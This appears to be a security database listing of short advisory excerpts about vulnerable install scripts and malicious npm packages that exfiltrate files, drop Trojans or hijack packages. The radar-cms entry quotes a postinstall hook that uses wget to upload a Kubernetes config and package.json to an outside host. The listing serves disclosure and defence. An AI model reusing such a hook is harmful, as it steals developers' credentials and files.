Gentoo security vulnerabilities

Gentoo is an open source Linux system from the Gentoo Foundation. A security vulnerability exists in Gentoo logcheck-1.3.23.ebuild and earlier versions, which originates from an attacker being able to perform a root privilege elevation via "chown -R" in pkgpostinst...

MAL-2022-5429 Malicious code in postinstall-dummy (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 652042e2c25b6583777de6cdf0e4beeaaa9bb3e1a1114ca94840dae3e7a4715d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in postinstall-dummy (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 652042e2c25b6583777de6cdf0e4beeaaa9bb3e1a1114ca94840dae3e7a4715d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malware in postinstall-dummy

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Automox Alive Automox Agent security vulnerabilities

Automox is a cloud-based tool from US-based Automox Inc. It can fully automate the patch repair process in Windows, macOS, Linux and third-party software including Adobe, Firefox, Chrome and Windows. A security vulnerability exists in Automox Alive Automox Agent that originates from allowing an...

PT-2022-18679 · Automox · Automox Agent For Macos

Name of the Vulnerable Software and Affected Versions: Automox Agent for macOS versions prior to 39 Automox Agent for macOS versions prior to 37 Description: The issue is related to a time-of-check/time-of-use TOCTOU race-condition attack that can occur during the agent install process. It also...

PT-2022-38056

Уязвимость функции msm irq postinstall модуля drivers/gpu/drm/msm/msm drv.c драйвера поддержки инфраструктуры прямого рендеринга DRI ядра операционной системы Linux связана с ошибками управления состоянием. Эксплуатация уязвимости может позволить нарушителю вызвать отказ в обслуживании...

USN-5259-3 cron regression

USN-5259-1 and USN-5259-2 fixed vulnerabilities in Cron. Unfortunately that update was incomplete and could introduce a regression. This update fixes the problem. We apologize for the inconvenience. Original advisory details: It was discovered that the postinst maintainer script in Cron unsafely...

Solaris 10 (sparc) : 119783-47

Vulnerability in the Solaris component of Oracle Sun Products Suite subcomponent: Bind/Postinstall script for Bind package. The supported version that is affected is 10. Very difficult to exploit vulnerability requiring logon to Operating System plus additional login/authentication to component o...

Malicious Package

Overview radar-cms is a malicious package. The package was found to have a post-install command which when executed will exfiltrate multiple files from a host machine. PoC "postinstall": "wget --post-file /.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json...

Malicious Package

Overview The package jdb.js contained malicious code. The package ran a postinstall script and contained a dropper for the njRAT/Bladabindi Remote Access Trojan. Recommendation Any computer that has this package installed or running should be considered fully compromised. All secrets and keys...

Malicious Package

discord.app is a malicious package. The package includes a postinstall script that executes a malicious .exe file containing Trojan malware...

Malicious Package

ac-addon is a malicious package. The package includes a postinstall script that executes two malicious .exe files containing Trojan malware...

Malicious Package

wsbd.js is a malicious package. The package executes a malicious postinstall script which runs an exe file containing Trojan malware upon installation...

Malicious Package

Overview The package wsbd.js contained malicious code. The package ran a postinstall script that executed an.exe file containing Trojan malware. Recommendation Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that...

Malicious Package

Overview The package discord.dll contained malicious code. The package ran a postinstall script that exfiltrated local files such as browser local databases. The information was exfiltrated to a remote Discord webhook. Recommendation Remove the package from your system and rotate any credentials...

GHSA-8MM3-2MCJ-CX6R Malicious Package in angluar-cli

Version 0.0.3 of angluar-cli contains malicious code as a postinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed the package attempts to remove files and stop processes related to McAfee antivirus...

Malicious Package in shrugging-logging

All versions of shrugging-logging contain malicious code as a postinstall script. The package fetches all names of npm packages owned by the user and attempts to add another maintainer to every package as a means of package hijacking, Recommendation Remove the package from your system. If you own...

PT-2020-21468

Name of the Vulnerable Software and Affected Versions shrugging-logging versions affected versions not specified Description The issue concerns malicious code in the shrugging-logging package, specifically a postinstall script. This script fetches the names of npm packages owned by the user and...

PT-2020-21169

Name of the Vulnerable Software and Affected Versions angular-cli version 0.0.3 Description The issue concerns malicious code in a postinstall script. This malware is designed to exploit typing mistakes when installing modules, targeting macOS users. Upon installation, it attempts to remove files...